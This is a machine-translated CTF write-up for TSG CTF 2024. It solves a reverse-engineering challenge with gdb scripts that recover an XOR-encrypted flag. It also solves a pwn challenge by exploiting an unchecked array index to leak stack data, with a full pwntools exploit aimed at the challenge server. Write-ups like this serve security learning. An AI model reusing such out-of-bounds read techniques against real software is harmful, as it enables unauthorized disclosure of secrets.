This page has been machine-translated from the original page.
I participated in TSG CTF 2024, which started on 12/14, with 0nePadding and finished in 63rd place. (Everyone was really good…)
I will write a quick writeup.
Table of Contents
Misbehave (Rev)
This binary is a little strange…
Hint for beginners:
The attached file is an ELF executable that runs on x86-64 Linux. If you run it and enter the correct FLAG, it will display
Correct!. Use Ghidra or IDA Free to understand the overall processing. Use gdb to observe its behavior while actually running it. You do not need to understand every detail of every routine exactly. In many cases, it is enough just to understand what a routine takes as input and what it changes.
I first checked the challenge binary with capa, but I could not find any information that seemed especially useful.
When I decompiled it with Binja, I found that the main function was implemented as follows.
int32_t main(int32_t argc, char** argv, char** envp)
{
char var_9 = 1;
int32_t var_14 = 4;
void input_0x30_flag;
input_flag(&input_0x30_flag, 0x30);
init(0x2cb7, 0x22);
for (int32_t i = 0; i <= 0xb; i += 1)
{
int32_t rax_2 = gen_rand();
*(uint32_t*)(((int64_t)(i << 2)) + &input_0x30_flag) ^= rax_2;
if (memcmp((&input_0x30_flag + ((int64_t)(i << 2))), (((int64_t)(i << 2)) + &flag_enc), ((int64_t)var_14)) != 0)
var_9 = 0;
}
if (var_9 == 0)
puts("Wrong...");
else
puts("Correct!");
return 0;
}At a high level, the main function seems to perform the following steps.
- Receive
0x30bytes of input from standard input. - Perform some initialization in the
initfunction. - Inside a loop that runs 12 times, XOR the input with a random value generated by
gen_randin 4-byte chunks and compare it against a hardcoded value withmemcmp. - If all checks succeed, output the string
Correct!.
Since the XOR-encrypted flag is hardcoded, it seems that once we correctly identify the key generated by gen_rand, we can work backward to recover the flag.
Looking at the implementation of gen_rand, it seems to be a function that manipulates the state variable in various ways. (It did not seem very important, so I did not read the implementation in detail.)
Because the XOR-encrypted flag is hardcoded in the binary with a specific key, it seems highly likely that the key generated by gen_rand is not truly random but instead uniquely determined by a specific seed.
In fact, if you debug it by driving gdb with the following script, you can confirm that only the first 4 bytes of the key are fixed (using the hardcoded seed from the init function), and that the subsequent keys change depending on each 4-byte chunk of the input string.
# gdb -x run.py
import gdb
import ctypes
from pprint import pprint
BINDIR = "./"
BIN = "misbehave"
INPUT = "./in.txt"
OUTPUT = "./out.txt"
BREAK = "*(main+74)"
with open(INPUT, "w") as f:
f.write("A"*0x30)
with open(OUTPUT, "w") as f:
f.write("A"*0x30)
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b {}'.format(BREAK))
gdb.execute('run < {}'.format(INPUT, OUTPUT))
while True:
print(hex(
ctypes.c_int32(int(gdb.parse_and_eval("$eax"))).value
))
gdb.execute("continue")Note: the following is the value of the key generated when the input string consists only of A.
You can also confirm that the hardcoded XOR-encrypted flag is as follows.
From this information, we can tell that only the first 4 bytes of the flag can be identified by XORing the initial value of state with the first 4 bytes of the encrypted flag. After that, the rest of the flag can be identified in order by entering the correct flag string 4 bytes at a time and using the correct key generated from it.
Below is the recipe I used in CyberChef to identify the correct flag 4 bytes at a time.
In the end, by using the following solver to extract each key generated when the correct flag string was entered 4 bytes at a time, I was able to identify the correct flag.
# gdb -x run.py
import gdb
import ctypes
from pprint import pprint
BINDIR = "./"
BIN = "misbehave"
INPUT = "./in.txt"
OUTPUT = "./out.txt"
BREAK = "*(main+74)"
N = 11
with open(INPUT, "w") as f:
f.write("TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr17" + "A"*(0x30-4*N))
with open(OUTPUT, "w") as f:
f.write("A"*0x30)
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b {}'.format(BREAK))
gdb.execute('run < {}'.format(INPUT, OUTPUT))
flag_enc = [0x906f6020, 0xf38f77ae, 0x5ea509fc, 0x51396bdd,
0x5e6efddf, 0x858860a8, 0x5295d7bc, 0xf382e975,
0x9504a2b7, 0x675c0e4a, 0xbf138153, 0xc1706134]
for i in range(12):
if i == N:
rand_val = ctypes.c_int32(int(gdb.parse_and_eval("$eax"))).value & 0xFFFFFFFF
print(hex(rand_val))
print(hex(
rand_val ^ flag_enc[N]
))
gdb.execute("continue")
gdb.execute("quit")
# TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr173}Password-Ate-Quiz (Pwn)
It looks like you will be told the flag if you enter the correct password.
The challenge provides the following C code and compiled ELF file as the binary.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void crypting(long long* secret, size_t len, long long key) {
for (int i = 0; i < (len - 1) / 8 + 1; i++) {
secret[i] = secret[i] ^ key;
}
}
void output_flag() {
char flag[100];
FILE *fd = fopen("./flag.txt", "r");
if (fd == NULL) {
puts("Could not open \"flag.txt\"");
exit(1);
}
fscanf(fd, "%99s", flag);
printf("%s\n", flag);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
char password[0x20];
char input[0x20];
srand(time(0));
long long key = ((long long)rand() << 32) | rand();
FILE *fd = fopen("password.txt", "r");
if (fd == NULL) {
puts("Could not open \"password.txt\"");
exit(1);
}
fscanf(fd, "%31s", password);
size_t length = strlen(password);
crypting((long long*)password, 0x20, key);
printf("Enter the password > ");
scanf("%31s", input);
crypting((long long*)input, 0x20, key);
if (memcmp(password, input, length + 1) == 0) {
puts("OK! Here's the flag!");
output_flag();
exit(0);
}
puts("Authentication failed.");
puts("You can get some hints.");
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]);
}
puts("");
} else {
break;
}
}
while (getchar()!='\n');
printf("Enter the password > ");
scanf("%31s", input);
crypting((long long*)input, 0x20, key);
if (memcmp(password, input, length + 1) == 0) {
puts("OK! Here's the flag!");
output_flag();
} else {
puts("Authentication failed.");
}
return 0;
}Reading this code, you can see that the correct password and the input value are both XOR-encrypted with a randomly generated 8-byte key, and the flag is displayed only when the results match.
Also, conveniently, this program lets you view hints for the password after entering an incorrect password once, and then gives you another chance to enter the password afterward.
The part that displays those password hints is implemented as follows.
char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
char password[0x20];
char input[0x20];
while (1) {
int idx;
printf("Enter a hint number (0~2) > ");
if (scanf("%d", &idx) == 1 && idx >= 0) {
for (int i = 0; i < 8; i++) {
putchar(hints[idx][i]);
}
puts("");
} else {
break;
}
}Because the code above imposes no restriction on the range of idx other than idx >= 0, it has an obvious vulnerability that allows out-of-bounds access to information on the stack.
Also, the information that can be accessed by exploiting this vulnerability is expected to include stack data containing the encrypted password and the input value.
Unfortunately, I could not use this vulnerability to read the stack address that stored the key used by the encryption function, but I quickly realized that by making the input value \x00, the original XOR key itself is effectively placed in the stack region for input as-is.
Therefore, by using the following solver to extract the encrypted password and the XOR key used for encryption, I was able to identify the correct password and obtain the flag.
import binascii,struct
from pwn import *
# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]
# Set gdb script
# BASE = 0x555555554000
# DBGADDR = hex(BASE + 0x8af)
gdbscript = f"""
b *(main+290)
continue
"""
# Set target
TARGET_PATH = "./chall"
exe = ELF(TARGET_PATH)
# Run program
is_gdb = True
is_gdb = False
if is_gdb:
target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
target = remote("34.146.186.1", 41778, ssl=False)
# target = process(TARGET_PATH)
# Exploit
target.recvuntil(b"Enter the password > ")
payload = b"\x00"*0x19
target.sendline(payload)
enc_password = []
for i in range(4,10):
r = target.recvuntil(b"Enter a hint number (0~2) > ")
if i != 4:
# print(r)
enc_password.append(
r[0:8]
)
payload = str(i).encode()
target.sendline(payload)
for e in enc_password:
print("E: {}".format(hex(struct.unpack("<Q", e)[0])))
# ThrtclScncGrp-eoeiaieeou-1959
# Finish exploit
target.interactive()
target.clean()Below is the recipe I used to decrypt the password.
By sending the password identified in this way to the challenge server, I was able to obtain the correct flag.
Summary
I did not have enough patience to completely solve the SQLite VM challenge, but I plan to review that one in another article.